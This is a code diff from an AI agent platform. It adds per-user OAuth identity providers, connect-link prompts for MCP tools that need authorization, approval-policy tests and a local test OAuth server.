approval_policy: ApprovalPolicySchema.default(DEFAULT_APPROVAL_POLICY),
+ // Native tools declare their credential provider intrinsically (the tool
+ // definition's `requires.provider`), so the spec ref carries no identity
+ // field — the runtime reads it from the registry.
}),
z.object({
kind: z.literal('custom'),
@@ -357,6 +396,10 @@ export const ToolRefSchema = z.discriminatedUnion('kind', [
path: z.string(),
requires_approval: z.boolean().default(false),
approval_policy: ApprovalPolicySchema.default(DEFAULT_APPROVAL_POLICY),
+ // The single identity provider (id from spec.identity_providers[]) this
+ // custom tool acts as. Unlinked → the dispatch wrapper relays an
+ // auth_required link. One provider per tool by design.
+ requires_identity: z.string().optional(),
}),
// NOTE: the registry-pin shape `{ kind: 'custom_template', from_template,
// alias, version }` is a *draft-only* authoring shape, validated by the
@@ -461,76 +504,85 @@ export const McpToolEntrySchema = z.union([
* in favour of a single flat shape — `agent-as-mcp-server.md` will re-add it
* when a concrete consumer lands.
*/
-export const McpRefSchema = z.object({
- /**
- * Stable id within the spec. Tool-name prefix at runtime —
- * `<id>__<toolName>` is what the model sees so it can tell which MCP
- * a tool came from. Must be unique across `spec.mcps[]`.
- */
- id: z.string().min(1),
- url: z.string().url(),
- auth: z
- .object({
- integration: z.string().optional(),
- })
- .optional(),
- /**
- * Per-MCP secret names. Resolved at session start through the same
- * encrypted-env path as the agent's main `spec.secrets`. The runner
- * substitutes `${name}` placeholders in the URL + auth headers before
- * opening the client; the plaintext never leaves the runner process.
- */
- secrets: z.array(z.string()).default([]),
- /**
- * Author-supplied request headers stamped on every outgoing MCP request.
- * Values may reference `${NAME}` from `secrets[]`; the runner substitutes
- * the plaintext value before opening the MCP client, so the secret never
- * leaves the runner process. Same substitution shape as
- * `@posthog/http-request`'s `headers` — the parallel is intentional so
- * authors can use the same mental model for "bring my own bearer token"
- * against either a typed MCP catalog or a raw HTTP API.
- *
- * Use this for the bring-your-own-token case (paste a PAT once, reference
- * it as `${TOKEN}` in `Authorization: 'Bearer ${TOKEN}'`). For platform-
- * managed OAuth tokens, use `auth.integration` instead; integration-
- * stamped headers compose with author-supplied headers — explicit
- * author entries win on duplicate keys, matching `http-request`'s
- * "caller-set values are not silently overwritten" rule.
- */
- headers: z.record(z.string(), z.string()).optional(),
- /**
- * Per-tool selection AND approval gating. Bare string is a passthrough
- * (gates inclusion, no approval); object form carries
- * `requires_approval` + `approval_policy`. Omitted / empty = expose
- * every tool the server lists. Replaces the earlier `allowlist[]`
- * field (PR 7 hard-break — no production specs used it).
- *
- * Names must be unique within the array. A duplicate would be a
- * silent first-match-wins footgun — e.g. an author who appends a
- * gated copy of an already-listed bare-string entry would see the
- * gated version ignored. Better to reject at parse time.
- */
- tools: z
- .array(McpToolEntrySchema)
- .optional()
- .refine(
- (entries) => {
- if (!entries) {
- return true
- }
- const seen = new Set<string>()
- for (const e of entries) {
- const name = typeof e === 'string' ? e : e.name
- if (seen.has(name)) {
- return false
+export const McpRefSchema = z
+ .object({
+ /**
+ * Stable id within the spec. Tool-name prefix at runtime —
+ * `<id>__<toolName>` is what the model sees so it can tell which MCP
+ * a tool came from. Must be unique across `spec.mcps[]`.
+ */
+ id: z.string().min(1),
+ url: z.string().url(),
+ auth: z
+ .object({
+ /** Team-level integration credential (shared across the team). */
+ integration: z.string().optional(),
+ /** Per-principal identity provider: stamps the linked user's bearer,
+ * gates into auth_required if unlinked. Vs the team-wide `integration`. */
+ provider: z.string().optional(),
+ })
+ .optional(),
+ /**
+ * Per-MCP secret names. Resolved at session start through the same
+ * encrypted-env path as the agent's main `spec.secrets`. The runner
+ * substitutes `${name}` placeholders in the URL + auth headers before
+ * opening the client; the plaintext never leaves the runner process.
+ */
+ secrets: z.array(z.string()).default([]),
+ /**
+ * Author-supplied request headers stamped on every outgoing MCP request.
+ * Values may reference `${NAME}` from `secrets[]`; the runner substitutes
+ * the plaintext value before opening the MCP client, so the secret never
+ * leaves the runner process. Same substitution shape as
+ * `@posthog/http-request`'s `headers` — the parallel is intentional so
+ * authors can use the same mental model for "bring my own bearer token"
+ * against either a typed MCP catalog or a raw HTTP API.
+ *
+ * Use this for the bring-your-own-token case (paste a PAT once, reference
+ * it as `${TOKEN}` in `Authorization: 'Bearer ${TOKEN}'`). For platform-
+ * managed OAuth tokens, use `auth.integration` instead; integration-
+ * stamped headers compose with author-supplied headers — explicit
+ * author entries win on duplicate keys, matching `http-request`'s
+ * "caller-set values are not silently overwritten" rule.
+ */
+ headers: z.record(z.string(), z.string()).optional(),
+ /**
+ * Per-tool selection AND approval gating. Bare string is a passthrough
+ * (gates inclusion, no approval); object form carries
+ * `requires_approval` + `approval_policy`. Omitted / empty = expose
+ * every tool the server lists. Replaces the earlier `allowlist[]`
+ * field (PR 7 hard-break — no production specs used it).
+ *
+ * Names must be unique within the array. A duplicate would be a
+ * silent first-match-wins footgun — e.g. an author who appends a
+ * gated copy of an already-listed bare-string entry would see the
+ * gated version ignored. Better to reject at parse time.
+ */
+ tools: z
+ .array(McpToolEntrySchema)
+ .optional()
+ .refine(
+ (entries) => {
+ if (!entries) {
+ return true
}
- seen.add(name)
- }
- return true
- },
- { message: 'mcps[].tools[] entries must have unique names' }
- ),
-})
+ const seen = new Set<string>()
+ for (const e of entries) {
+ const name = typeof e === 'string' ? e : e.name
+ if (seen.has(name)) {
+ return false
+ }
+ seen.add(name)
+ }
+ return true
+ },
+ { message: 'mcps[].tools[] entries must have unique names' }
+ ),
+ })
+ .refine((m) => !(m.auth?.integration && m.auth?.provider), {
+ message: 'mcps[].auth cannot set both integration (team-wide) and provider (per-asker)',
+ path: ['auth'],
+ })
export const SkillRefSchema = z.object({
id: z.string(),
@@ -681,6 +733,49 @@ export const ResumeConfigSchema = z.object({
.default(7 * 24 * 60 * 60 * 1000),
})
+/**
+ * A per-app identity provider users can link against. Two kinds:
+ * - `posthog` — managed: on promote the backend provisions a normal,
+ * user-consented OAuthApplication for the agent's org and injects its
+ * `client_id` here (the author supplies nothing but optional scopes).
+ * Linking runs PostHog's standard consent flow, so the user explicitly
+ * authorises the agent to act as them.
+ * - `oauth2` — bring-your-own: the author registers an OAuth app at a third
+ * party (GitHub, Linear, the `dogs` test IdP), points its redirect at our
+ * callback, and supplies endpoints + client_id + a `client_secret_ref`
+ * (a key in the agent's encrypted_env). One generic provider serves them all.
+ */
+export const IdentityProviderConfigSchema = z.discriminatedUnion('kind', [
+ z.object({
+ kind: z.literal('posthog'),
+ id: z.string().min(1).default('posthog'),
+ scopes: z.array(z.string()).default([]),
+ /** Who the credential acts as. Only `principal` (per-asker) is accepted:
+ * the `agent` binding (one credential shared by the whole agent) isn't
+ * implemented yet, so it's rejected at the schema until the app-scoped
+ * credential shape lands. The runtime seam still exists (resolve throws
+ * `agent_binding_not_implemented`) for when it does. */
+ binding: z.enum(['principal']).default('principal'),
+ /** Backend-injected on promote (the provisioned OAuthApplication's
+ * client_id). Author never sets it; absent until the agent is promoted. */
+ client_id: z.string().optional(),
+ }),
+ z.object({
+ kind: z.literal('oauth2'),
+ id: z.string().min(1),
+ binding: z.enum(['principal']).default('principal'),
+ authorize_url: z.string().url(),
+ token_url: z.string().url(),
+ client_id: z.string().min(1),
+ /** Key in encrypted_env holding the client secret. Omit for public PKCE clients. */
+ client_secret_ref: z.string().optional(),
+ scopes: z.array(z.string()).default([]),
+ /** Userinfo endpoint, used for the email cross-check warn at link time. */
+ userinfo_url: z.string().url().optional(),
+ }),
+])
+export type IdentityProviderConfig = z.infer<typeof IdentityProviderConfigSchema>
+
export const AgentSpecSchema = z.object({
model: ModelIdSchema,
triggers: z.array(TriggerSchema).default([]),
@@ -688,6 +783,8 @@ export const AgentSpecSchema = z.object({
mcps: z.array(McpRefSchema).default([]),
skills: z.array(SkillRefSchema).default([]),
integrations: z.array(z.string()).default([]),
+ /** Identity providers users can link against (the credential axis). */
+ identity_providers: z.array(IdentityProviderConfigSchema).default([]),
secrets: z.array(SecretRefSchema).default([]),
limits: SpecLimitsSchema.default({
max_turns: 50,
@@ -716,7 +813,6 @@ export function triggerAuthConfig(trigger: Trigger): AuthConfig | null {
}
export type ToolRef = z.infer<typeof ToolRefSchema>
export type ApprovalPolicy = z.infer<typeof ApprovalPolicySchema>
-export type ApproverScope = z.infer<typeof ApproverScopeSchema>
export type McpRef = z.infer<typeof McpRefSchema>
export type McpToolEntry = z.infer<typeof McpToolEntrySchema>
export type SecretRef = z.infer<typeof SecretRefSchema>
diff --git a/products/agent_platform/services/agent-shared/src/spec/system-prompt.test.ts b/products/agent_platform/services/agent-shared/src/spec/system-prompt.test.ts
index 2609fbd41ba8..9ce63d8be2b3 100644
--- a/products/agent_platform/services/agent-shared/src/spec/system-prompt.test.ts
+++ b/products/agent_platform/services/agent-shared/src/spec/system-prompt.test.ts
@@ -172,6 +172,22 @@ describe('buildSystemPrompt', () => {
expect(prompt).toMatch(/do NOT paste raw error messages/)
})
+ it('renders a link-required MCP under "Connect required" with the URL, not as "unavailable"', async () => {
+ await bundle.write('rev1', 'agent.md', 'x')
+ const spec = AgentSpecSchema.parse({ model: 'x' })
+ const prompt = await buildSystemPrompt(makeRev(spec), bundle, {
+ unavailableMcps: [
+ { id: 'posthog', category: 'auth', authorizeUrl: 'https://app.posthog.test/oauth/authorize/?x=1' },
+ ],
+ })
+ expect(prompt).toContain('Connect required')
+ // Rendered as a markdown link (not a bare URL) so the model relays a clickable link.
+ expect(prompt).toContain('`posthog`: [Connect posthog](https://app.posthog.test/oauth/authorize/?x=1)')
+ expect(prompt).toMatch(/markdown link/)
+ // A linkable failure must NOT land in the dead-end "Unavailable" block.
+ expect(prompt).not.toContain('Unavailable capabilities')
+ })
+
it('reasoning hint only fires for high / xhigh', async () => {
await bundle.write('rev1', 'agent.md', 'x')
diff --git a/products/agent_platform/services/agent-shared/src/spec/system-prompt.ts b/products/agent_platform/services/agent-shared/src/spec/system-prompt.ts
index 8b04bbee1611..402073d52da7 100644
--- a/products/agent_platform/services/agent-shared/src/spec/system-prompt.ts
+++ b/products/agent_platform/services/agent-shared/src/spec/system-prompt.ts
@@ -31,6 +31,10 @@ export interface UnavailableMcp {
/** Spec ref id — same string the model sees as the tool-name prefix. */
id: string
category: UnavailableMcpCategory
+ /** Set when the MCP didn't open because the asker hasn't linked its
+ * identity provider yet. The model relays this connect link rather than
+ * reporting a dead "temporarily unavailable". */
+ authorizeUrl?: string
}
export interface BuildSystemPromptOpts {
@@ -90,13 +94,29 @@ export async function buildSystemPrompt(
}
const unavailable = opts.unavailableMcps ?? []
- if (unavailable.length > 0) {
+ // A link-required failure is the user's to fix (connect their account); a
+ // broken one is the owner's. Split so the model relays the link for the
+ // former instead of dead-ending both as "temporarily unavailable".
+ const linkable = unavailable.filter((u) => u.authorizeUrl)
+ const broken = unavailable.filter((u) => !u.authorizeUrl)
+ if (linkable.length > 0) {
+ const lines = ['\n\n---\n\n## Connect required', '']
+ lines.push(
+ "These capabilities need the user to connect (or reconnect) their account before you can use them — the connection is either not set up yet or no longer has the access it needs. When they ask for something one powers (including asking to reconnect), relay the link below as a **markdown link** with a short friendly label (never the bare URL), ask them to click it, then re-ask — don't say it's unavailable:"
+ )
+ lines.push('')
+ for (const u of linkable) {
+ lines.push(`- \`${u.id}\`: [Connect ${u.id}](${u.authorizeUrl})`)
+ }
+ parts.push(lines.join('\n'))
+ }
+ if (broken.length > 0) {
const lines = ['\n\n---\n\n## Unavailable capabilities', '']
lines.push(
'The following MCP servers your spec references failed to open for this session, so their tools are not callable:'
)
lines.push('')
- for (const u of unavailable) {
+ for (const u of broken) {
lines.push(`- \`${u.id}\` — ${CATEGORY_HINTS[u.category]}`)
}
lines.push('')
diff --git a/products/agent_platform/services/agent-shared/src/spec/tool.ts b/products/agent_platform/services/agent-shared/src/spec/tool.ts
index b7bd080c43d9..62370dc38735 100644
--- a/products/agent_platform/services/agent-shared/src/spec/tool.ts
+++ b/products/agent_platform/services/agent-shared/src/spec/tool.ts
@@ -30,10 +30,12 @@ export interface NativeToolSchema {
args: TSchema
/** TypeBox schema for the return value (informational; not enforced at runtime today). */
returns: TSchema
- /** Required integrations / scopes the team must have to use this tool. */
+ /** The single credential provider this tool acts through + the scopes it needs
+ * from it; `undefined` when it needs no external credential. An identity
+ * provider id (or `posthog`) is per-asker and identity-gated; `slack` is the
+ * shared team bot (scopes feed the Slack manifest). */
requires: {
- integrations: string[]
- scopes: string[]
+ provider?: { id: string; scopes: string[] }
}
/** Hint for runner timeout selection + authoring UI cost annotations. */
cost_hint: 'cheap' | 'medium' | 'expensive'
@@ -110,6 +112,29 @@ export interface ToolContext {
credentials?: {
resolve(target: string): Promise<Credential | null>
}
+ /**
+ * Resolve the current asker's linked credential for an identity provider,
+ * or a one-time authorize link if they haven't linked it. The asker is the
+ * live last-user-turn sender (per-run — honours the per-author rule).
+ * Wired from spec.identity_providers; absent when none are configured.
+ */
+ identity?: {
+ resolve(provider: string, scopes?: string[]): Promise<IdentityResolution>
+ /** Force a fresh authorize link for an already-linked provider (reconnect)
+ * — used when a resolved credential is rejected downstream (revoked, or
+ * missing a scope the resource server now requires). Null when no link is
+ * possible. */
+ relink?(provider: string): Promise<string | null>
+ }
+ /**
+ * Credentials the dispatch wrapper pre-resolved for this tool's
+ * `requires.identities`, keyed by provider id. The wrapper short-circuits to
+ * an `auth_required` result before `run()` if any required provider isn't
+ * `ok`, so a tool body may read `ctx.resolvedIdentities[p]` for a declared
+ * identity without re-resolving. Tools called directly (unit tests) won't
+ * have this set — fall back to `ctx.identity.resolve(p)`.
+ */
+ resolvedIdentities?: Record<string, { credential: Credential; allowedHosts: string[] }>
/**
* Outbound HTTP client. In prod this routes through smokescreen via
* an undici ProxyAgent; in dev/test it's a direct fetch. **All tool
@@ -134,6 +159,13 @@ export interface IntegrationCredentials {
metadata?: Record<string, unknown>
}
+/** Outcome of `ctx.identity.resolve`: a usable credential, a link to send, or no-go.
+ * `allowedHosts` bounds where the bearer may be sent (SSRF guard). */
+export type IdentityResolution =
+ | { kind: 'ok'; credential: Credential; allowedHosts: string[] }
+ | { kind: 'link_required'; provider: string; authorizeUrl: string }
+ | { kind: 'unavailable'; provider: string; reason: string }
+
export interface NativeTool<TArgs = unknown, TReturn = unknown> {
id: string
schema: NativeToolSchema
@@ -146,7 +178,7 @@ export function defineNativeTool<TArgsSchema extends TSchema, TReturnSchema exte
description: string
args: TArgsSchema
returns: TReturnSchema
- requires?: Partial<NativeToolSchema['requires']>
+ requires?: NativeToolSchema['requires']
cost_hint?: NativeToolSchema['cost_hint']
run: (args: Static<TArgsSchema>, ctx: ToolContext) => Promise<Static<TReturnSchema>>
}): NativeTool<Static<TArgsSchema>, Static<TReturnSchema>> {
@@ -156,10 +188,7 @@ export function defineNativeTool<TArgsSchema extends TSchema, TReturnSchema exte
description: def.description,
args: def.args,
returns: def.returns,
- requires: {
- integrations: def.requires?.integrations ?? [],
- scopes: def.requires?.scopes ?? [],
- },
+ requires: { provider: def.requires?.provider },
cost_hint: def.cost_hint ?? 'medium',
},
run: def.run,
diff --git a/products/agent_platform/services/agent-shared/src/storage/typed-bundle.ts b/products/agent_platform/services/agent-shared/src/storage/typed-bundle.ts
index e9508f874226..0ee6ad2b1a83 100644
--- a/products/agent_platform/services/agent-shared/src/storage/typed-bundle.ts
+++ b/products/agent_platform/services/agent-shared/src/storage/typed-bundle.ts
@@ -86,6 +86,7 @@ export const TypedSpecSchema = z
model: z.string().min(1).optional(),
triggers: z.array(z.unknown()).optional(),
mcps: z.array(z.unknown()).optional(),
+ identity_providers: z.array(z.unknown()).optional(),
integrations: z.array(z.string()).optional(),
secrets: z.array(z.string()).optional(),
limits: z.unknown().optional(),
diff --git a/products/agent_platform/services/agent-tests/AGENTS.md b/products/agent_platform/services/agent-tests/AGENTS.md
index 5b0aa5e64de5..e45b5b4966e0 100644
--- a/products/agent_platform/services/agent-tests/AGENTS.md
+++ b/products/agent_platform/services/agent-tests/AGENTS.md
@@ -56,8 +56,7 @@ fine for pure logic (spec parsing, sweep math) but a feature isn't
## The "every change ships with its test" rule
Tests aren't optional and they aren't a follow-up. Every code change in
-`services/agent-*`, `packages/agent-chat/`, and `products/agent_platform/`
-ships with a test in the same commit:
+`products/agent_platform/` ships with a test in the same commit:
- **Bug fix → regression test.** The test must fail when the fix is
reverted. If reverting locally is annoying (formatter rewrites,
diff --git a/products/agent_platform/services/agent-tests/package.json b/products/agent_platform/services/agent-tests/package.json
index 2231c6ec5ffa..10a19f4a9993 100644
--- a/products/agent_platform/services/agent-tests/package.json
+++ b/products/agent_platform/services/agent-tests/package.json
@@ -8,6 +8,8 @@
"type": "module",
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"typescript:check": "tsc --noEmit -p .",
"test": "vitest run"
},
diff --git a/products/agent_platform/services/agent-tests/scripts/dog-oauth-server.ts b/products/agent_platform/services/agent-tests/scripts/dog-oauth-server.ts
new file mode 100644
index 000000000000..5f5989da0222
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/scripts/dog-oauth-server.ts
@@ -0,0 +1,46 @@
+/**
+ * Standalone runnable `dogs` OAuth IdP + demo API for the local identity-linking
+ * demo. Same fixture the e2e harness uses, on a fixed port so an agent's
+ * spec.identity_providers can point at it.
+ *
+ * npx tsx scripts/dog-oauth-server.ts # listens on :4545
+ * DOG_PORT=4600 npx tsx scripts/dog-oauth-server.ts
+ *
+ * Dev-only: not wired into any production service.
+ */
+
+import { startDogServer } from '../src/harness/dog-oauth-server'
+
+const port = Number(process.env.DOG_PORT ?? 4545)
+
+const server = await startDogServer({ port, clientId: 'dogs-client' })
+
+// eslint-disable-next-line no-console
+console.log(
+ [
+ `🐶 dog OAuth IdP + demo API listening`,
+ ` base ${server.baseUrl}`,
+ ` authorize ${server.authorizeUrl}`,
+ ` token ${server.tokenUrl}`,
+ ` api ${server.apiUrl}`,
+ ` userinfo ${server.userinfoUrl}`,
+ ``,
+ `Add to an agent spec.identity_providers:`,
+ JSON.stringify(
+ {
+ kind: 'oauth2',
+ id: 'dogs',
+ authorize_url: server.authorizeUrl,
+ token_url: server.tokenUrl,
+ client_id: 'dogs-client',
+ scopes: ['read:dog'],
+ userinfo_url: server.userinfoUrl,
+ },
+ null,
+ 2
+ ),
+ ].join('\n')
+)
+
+process.on('SIGINT', () => server.close().then(() => process.exit(0)))
+process.on('SIGTERM', () => server.close().then(() => process.exit(0)))
diff --git a/products/agent_platform/services/agent-tests/src/cases/approval-gated.test.ts b/products/agent_platform/services/agent-tests/src/cases/approval-gated.test.ts
index 0b766a6fb1e9..d3c9c11ca015 100644
--- a/products/agent_platform/services/agent-tests/src/cases/approval-gated.test.ts
+++ b/products/agent_platform/services/agent-tests/src/cases/approval-gated.test.ts
@@ -28,8 +28,6 @@
import { fauxToolCall } from '@earendil-works/pi-ai'
import request from 'supertest'
-import { AuthProvider, publicVerifier, readBearer } from '@posthog/agent-ingress'
-
import { buildCluster, closeSharedPool, Cluster, fakeAuthProvider, fauxCallTool, fauxText } from '../harness'
// `@posthog/*` data tools act as the connected PostHog user, so the cases that
@@ -128,6 +126,8 @@ describe('approval-gated tools: real e2e', () => {
kind?: 'native' | 'custom'
path?: string
allowEdit?: boolean
+ /** Approval authority. Omit for the `principal` default. */
+ approvalType?: 'principal' | 'agent'
extraTools?: Array<Record<string, unknown>>
files?: Record<string, string>
auth?: Record<string, unknown>
@@ -139,13 +139,19 @@ describe('approval-gated tools: real e2e', () => {
id: opts.toolId,
path: opts.path ?? `tools/${opts.toolId}/`,
requires_approval: true,
- approval_policy: { allow_edit: !!opts.allowEdit },
+ approval_policy: {
+ allow_edit: !!opts.allowEdit,
+ ...(opts.approvalType ? { type: opts.approvalType } : {}),
+ },
}
: {
kind: 'native' as const,
id: opts.toolId,
requires_approval: true,
- approval_policy: { allow_edit: !!opts.allowEdit },
+ approval_policy: {
+ allow_edit: !!opts.allowEdit,
+ ...(opts.approvalType ? { type: opts.approvalType } : {}),
+ },
}
return c.deployAgent({
slug: opts.slug,
@@ -219,7 +225,9 @@ describe('approval-gated tools: real e2e', () => {
expect(queued).not.toBeNull()
expect(queued!.request_id).toMatch(/^[0-9a-f-]+$/)
expect(queued!.approval_url).toMatch(/\/approvals\?request=/)
- expect(queued!.approver_hint).toMatch(/admin/i)
+ // Default policy is `principal`, so the hint points at the session's own
+ // principal (not an owner/admin — that's the `agent` type).
+ expect(queued!.approver_hint).toMatch(/person who started this session/i)
// The approval is queryable via janitor.
const approvals = await listApprovals(application.id, 'queued')
@@ -254,6 +262,63 @@ describe('approval-gated tools: real e2e', () => {
expect(finalText.content[0].text).toBe('done')
})
+ // ─────────────────────────────────────────────────────────────
+ // Case 1b — agent-level approval (owner/admin authority).
+ // Same queue → approve → dispatch flow as case 1, but the policy is
+ // `type: 'agent'`: the queued hint points at an owner/admin (not the
+ // principal), and the decision is the one Django forwards to the janitor.
+ // Proves an agent-type row flows all the way through decide → wake →
+ // dispatch (Django's team-admin authz over the decide is covered separately
+ // in backend/tests/test_approvals_api.py).
+ // ─────────────────────────────────────────────────────────────
+ it('case 1b: agent-type queue → approve → real result → completes', async () => {
+ c.setScript([
+ fauxCallTool('@posthog/query', { project_id: 1, query: 'select 1' }),
+ fauxText('queued for approval'),
+ fauxText('done'),
+ ])
+ const { application } = await deployGatedAgent({
+ slug: 'gated-agent-type',
+ toolId: '@posthog/query',
+ approvalType: 'agent',
+ auth: { modes: [{ type: 'posthog' }] },
+ })
+
+ const run = await request(c.ingress)
+ .post('/agents/gated-agent-type/run')
+ .set('authorization', `Bearer ${APPROVAL_PAT}`)
+ .send({ message: 'go' })
+ expect(run.status).toBe(200)
+ const sid = run.body.session_id
+
+ await c.drain()
+
+ const queued = findApproval((await c.queue.get(sid))!.conversation, 'queued')
+ expect(queued).not.toBeNull()
+ // Agent-type → the hint points at an owner/admin, not the principal.
+ expect(queued!.approver_hint).toMatch(/owner or admin/i)
+
+ const approvals = await listApprovals(application.id, 'queued')
+ expect(approvals).toHaveLength(1)
+ expect(approvals[0].id).toBe(queued!.request_id)
+
+ // Decide via the janitor route — the path Django forwards an owner/admin
+ // console decision to.
+ await decide(queued!.request_id, {
+ decision: 'approve',
+ decided_by: '00000000-0000-0000-0000-000000000001',
+ })
+
+ await c.drain()
+
+ const session = await c.queue.get(sid)
+ expect(session!.state).toBe('completed')
+ const approved = findApproval(session!.conversation, 'approved')
+ expect(approved).not.toBeNull()
+ expect(approved!.result).toMatchObject({ rows: [{ query: 'select 1' }] })
+ expect(approved!.decided_by).toBe('00000000-0000-0000-0000-000000000001')
+ })
+
// ─────────────────────────────────────────────────────────────
// Case 2 — reject path.
// Approver says no; model sees a rejected synthetic result and can
@@ -529,172 +594,3 @@ describe('approval-gated tools: real e2e', () => {
expect(session!.trigger_metadata).toMatchObject({ client_kind: 'posthog-code' })
})
})
-
-// ─────────────────────────────────────────────────────────────────────
-// Per-asker authorisation shortcut (#23 step 3).
-//
-// The dispatcher reads the most recent user-turn's `sender` and, if it
-// satisfies the tool's `approver_scope`, dispatches directly instead of
-// queueing for someone else to approve. Verifies the load-bearing demo
-// scenario: regular user → queues; admin user → dispatches.
-//
-// The harness doesn't carry a real posthog_organizationmembership table,
-// so we stub `isAskerInApproverScope` to "is the sender id the
-// admin PAT?". The dispatcher's real production code reads through the
-// identity store + posthog DB; that path is covered by
-// per-asker-auth.test.ts.
-//
-// We use PAT-based chat auth (rather than slack) because the chat
-// trigger stamps a `service`-kind sender carrying the pat_id verbatim
-// — easy to recognise — whereas the slack identity store mints
-// non-deterministic UUIDs.
-// ─────────────────────────────────────────────────────────────────────
-describe('approval-gated tools: per-asker shortcut (#23 step 3)', () => {
- const ADMIN_PAT_ID = 'pat-admin'
- const NORMAL_PAT_ID = 'pat-normal'
-
- const authProvider: AuthProvider = {
- verifiers: [
- publicVerifier,
- {
- modeType: 'posthog',
- async verify(req, _mode, application) {
- const bearer = readBearer(req)
- if (!bearer) {
- return { ok: false, status: 0, reason: 'skip' }
- }
- const userId =
- bearer === 'admin-token' ? ADMIN_PAT_ID : bearer === 'normal-token' ? NORMAL_PAT_ID : null
- if (!userId) {
- return { ok: false, status: 401, reason: 'invalid_token' }
- }
- return {
- ok: true,
- principal: {
- kind: 'posthog',
- user_id: userId,
- team_id: application.team_id,
- },
- credentials: { posthog_api: { kind: 'posthog_bearer', token: bearer } },
- }
- },
- },
- ],
- }
-
- let c: Cluster
-
- beforeEach(async () => {
- c = await buildCluster({
- authProvider,
- // Stub the per-asker check to recognise the admin PAT id. The real
- // production check resolves principal → AgentUser → posthog_user
- // → OrganizationMembership level; the harness short-circuits all
- // of that with a literal id match.
- isAskerInApproverScope: async (conversation, _teamId, approverScope) => {
- if (!approverScope.includes('team_admins')) {
- return false
- }
- for (let i = conversation.length - 1; i >= 0; i--) {
- const m = conversation[i] as {
- role: string
- sender?: { kind?: string; user_id?: string }
- }
- if (m.role !== 'user') {
- continue
- }
- if (m.sender?.kind === 'posthog' && m.sender.user_id === ADMIN_PAT_ID) {
- return true
- }
- if (m.sender) {
- return false
- }
- }
- return false
- },
- })
- })
-
- afterEach(async () => {
- await c.teardown()
- })
-
- afterAll(async () => {
- await closeSharedPool()
- })
-
- async function listQueuedApprovals(applicationId: string): Promise<Array<{ id: string }>> {
- const res = await request(c.janitor).get('/approvals').query({ application_id: applicationId, state: 'queued' })
- expect(res.status).toBe(200)
- return res.body.results as Array<{ id: string }>
- }
-
- it('non-admin: gated call queues an approval (B.2 v0 behaviour preserved)', async () => {
- c.setScript([
- fauxCallTool('@posthog/query', { project_id: 1, query: 'select 1' }),
- fauxText('queued for approval'),
- ])
- const { application } = await c.deployAgent({
- slug: 'shortcut-noadmin',
- spec: {
- auth: { modes: [{ type: 'posthog' }] },
- tools: [
- {
- kind: 'native',
- id: '@posthog/query',
- requires_approval: true,
- approval_policy: { allow_edit: false },
- },
- ],
- },
- })
-
- await request(c.ingress)
- .post('/agents/shortcut-noadmin/run')
- .set('authorization', 'Bearer normal-token')
- .send({ message: 'delete the cohort' })
- await c.drain()
-
- const queued = await listQueuedApprovals(application.id)
- expect(queued).toHaveLength(1)
- })
-
- it('admin: gated call dispatches directly, NO approval row, model sees real tool result', async () => {
- c.setScript([fauxCallTool('@posthog/query', { project_id: 1, query: 'select 1' }), fauxText('done')])
- const { application } = await c.deployAgent({
- slug: 'shortcut-admin',
- spec: {
- auth: { modes: [{ type: 'posthog' }] },
- tools: [
- {
- kind: 'native',
- id: '@posthog/query',
- requires_approval: true,
- approval_policy: { allow_edit: false },
- },
- ],
- },
- })
-
- const run = await request(c.ingress)
- .post('/agents/shortcut-admin/run')
- .set('authorization', 'Bearer admin-token')
- .send({ message: 'delete the cohort' })
- await c.drain()
-
- // No approval row written — the dispatcher took the shortcut.
- const queued = await listQueuedApprovals(application.id)
- expect(queued).toHaveLength(0)
-
- // The conversation carries a real @posthog/query toolResult, not
- // a synthetic queued envelope. The harness's PostHog internal
- // client echoes `{ rows: [{query}], columns: ['query'] }`.
- const session = await c.queue.get(run.body.session_id)
- const toolResults = session!.conversation.filter((m) => (m as { role: string }).role === 'toolResult')
- expect(toolResults).toHaveLength(1)
- const result = toolResults[0] as { content: Array<{ type: string; text: string }>; toolName: string }
- expect(result.toolName).toBe('@posthog/query')
- expect(result.content[0].text).toContain('rows')
- expect(result.content[0].text).not.toContain('queued')
- })
-})
diff --git a/products/agent_platform/services/agent-tests/src/cases/client-tool.test.ts b/products/agent_platform/services/agent-tests/src/cases/client-tool.test.ts
index 8d9b93b2c668..d004bd572c41 100644
--- a/products/agent_platform/services/agent-tests/src/cases/client-tool.test.ts
+++ b/products/agent_platform/services/agent-tests/src/cases/client-tool.test.ts
@@ -4,7 +4,7 @@
* `client_tool_call` event on the bus and waits for a matching
* `client_tool_result` event posted by the connecting client. This case
* exercises both halves (happy path + timeout path) using the in-memory
- * bus directly — simulating the role the agent-chat package + ingress
+ * bus directly — simulating the role the chat client + ingress
* `/client_tool_result` endpoint play in production.
*/
diff --git a/products/agent_platform/services/agent-tests/src/cases/cron-trigger.test.ts b/products/agent_platform/services/agent-tests/src/cases/cron-trigger.test.ts
index 64330e50c414..b5a8de3104a6 100644
--- a/products/agent_platform/services/agent-tests/src/cases/cron-trigger.test.ts
+++ b/products/agent_platform/services/agent-tests/src/cases/cron-trigger.test.ts
@@ -108,7 +108,7 @@ describe('cron trigger: real e2e', () => {
it('manual fire endpoint shape — POST /revisions/:id/cron/fire enqueues + the runner completes', async () => {
// Uses the janitor HTTP route directly. The endpoint isn't on the
// ingress (it's an authoring-side surface), so we hit the janitor
- // app the harness exposes. Same code path the agent-console will
+ // app the harness exposes. Same code path the console UI will
// call when an author clicks "Fire now."
c.setScript([fauxText('manual ack')])
const { application, revision } = await c.deployAgent({
diff --git a/products/agent_platform/services/agent-tests/src/cases/example-agent-approval-demo.test.ts b/products/agent_platform/services/agent-tests/src/cases/example-agent-approval-demo.test.ts
index 3dbb80736d25..b499a25ee52d 100644
--- a/products/agent_platform/services/agent-tests/src/cases/example-agent-approval-demo.test.ts
+++ b/products/agent_platform/services/agent-tests/src/cases/example-agent-approval-demo.test.ts
@@ -13,7 +13,7 @@
* the conversation → model emits closing text.
*
* Drift in any of those steps lights up here first. The bundle's value
- * is also surfaced via the agent-console approvals UI; the screen-side
+ * is also surfaced via the approvals UI; the screen-side
* regression net is Storybook.
*/
@@ -85,19 +85,18 @@ describe('example: agent-approval-demo bundle', () => {
id: string
requires_approval?: boolean
approval_policy?: {
- approvers?: string[]
+ type?: string
allow_edit?: boolean
- allow_agent_approver?: boolean
ttl_ms?: number
}
}>
const write = tools.find((t) => t.id === '@posthog/memory-write')
expect(write).toBeTruthy()
